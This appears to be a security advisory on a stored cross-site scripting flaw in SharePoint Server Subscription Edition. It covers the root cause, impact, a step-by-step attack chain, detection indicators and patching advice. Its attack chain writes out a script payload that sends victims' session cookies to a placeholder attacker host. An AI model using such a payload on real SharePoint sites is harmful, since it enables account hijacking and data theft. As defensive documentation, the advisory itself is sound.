CVE-2025-64672: 
Microsoft SharePoint Server Subscription Edition vulnerability analysis and mitigation

CVE-2025-64672 is a stored cross-site scripting (XSS) vulnerability in Microsoft SharePoint Server that allows an authenticated attacker with low privileges to inject malicious scripts that execute in the security context of other users. The vulnerability was disclosed on December 9, 2025, as part of Microsoft's December 2025 Patch Tuesday security update. It affects Microsoft SharePoint Server Subscription Edition versions prior to 16.0.19127.20378. The vulnerability carries a CVSS v3.1 base score of 9.0 (Critical) per Feedly/Microsoft MSRC data, with high impact across confidentiality, integrity, and availability (Microsoft MSRC, BleepingComputer).

The root cause is improper neutralization of user-supplied input during web page generation (CWE-79), classified as a stored XSS vulnerability. An authenticated attacker with low privileges can inject malicious script content into SharePoint pages or components that is subsequently rendered and executed in the browsers of other users visiting those pages. The attack vector is network-based, requires low privileges and user interaction (a victim must view the injected content), and has a changed scope — meaning the impact extends beyond the vulnerable component itself. No public proof-of-concept exploit code has been identified at this time (Microsoft MSRC, ZDI Blog).

Successful exploitation enables attackers to steal session tokens, hijack user accounts, and perform unauthorized actions within the SharePoint environment on behalf of victims. The changed scope means the injected script executes in the victim's browser context, potentially granting access to sensitive SharePoint data, documents, and credentials stored or accessible through the platform. With high ratings across confidentiality, integrity, and availability, the vulnerability poses significant organizational risk, including potential lateral movement within SharePoint and broader Microsoft 365 environments (Microsoft MSRC, Rapid7).

1. Reconnaissance: Identify target Microsoft SharePoint Server Subscription Edition instances running versions prior to 16.0.19127.20378 using network scanning or OSINT techniques.
2. Authentication: Obtain valid low-privileged credentials for the SharePoint environment (e.g., via phishing, credential stuffing, or insider access).
3. Inject malicious payload: As an authenticated user, navigate to a SharePoint page or component that accepts user-supplied content (e.g., web parts, list fields, or page content areas) and inject a malicious JavaScript payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>).
4. Trigger victim execution: Wait for or socially engineer a higher-privileged user (e.g., SharePoint administrator) to visit the page containing the injected script, causing it to execute in their browser context.
5. Harvest session tokens or perform actions: The executed script exfiltrates session cookies, performs actions on behalf of the victim, or pivots to further compromise the SharePoint environment or connected systems (Microsoft MSRC, ZDI Blog).

• Network: Outbound HTTP/HTTPS requests from victim browsers to unknown external domains shortly after accessing SharePoint pages; unusual POST requests to attacker-controlled endpoints containing encoded cookie or session data.
• Logs: SharePoint ULS logs or IIS access logs showing unusual script content in page edit or list item submission requests; audit logs recording unexpected page modifications by low-privileged accounts.
• File System / Content: SharePoint pages or list items containing embedded <script> tags, JavaScript event handlers (e.g., onerror, onload), or encoded payloads (e.g., <script>) in content fields.
• Process / Browser: Unexpected JavaScript execution errors in browser developer consoles when accessing specific SharePoint pages; browser network traffic showing requests to external domains not associated with SharePoint operations.

Microsoft released a patch on December 9, 2025; organizations should update Microsoft SharePoint Server Subscription Edition to version 16.0.19127.20378 or later immediately. As interim mitigations, administrators should review and restrict user permissions to limit who can modify SharePoint page content, and implement Content Security Policy (CSP) headers to reduce XSS impact. Deploying a web application firewall (WAF) configured to detect and block XSS patterns, and monitoring SharePoint audit logs for suspicious script injections, are also recommended defensive measures (Microsoft MSRC, Rapid7).

The vulnerability was covered as part of broader December 2025 Patch Tuesday reporting, with security outlets including BleepingComputer, Rapid7, Sophos, and the Zero Day Initiative (ZDI) noting it among the 57 vulnerabilities addressed that month. Sophos described December 2025 as a "big finish" to the year in terms of patch volume. Community discussion on forums such as WindowsForum highlighted the spoofing risk for on-premises SharePoint deployments. No specific researcher attribution or significant independent technical commentary beyond Patch Tuesday roundups has been identified (BleepingComputer, ZDI Blog, Sophos).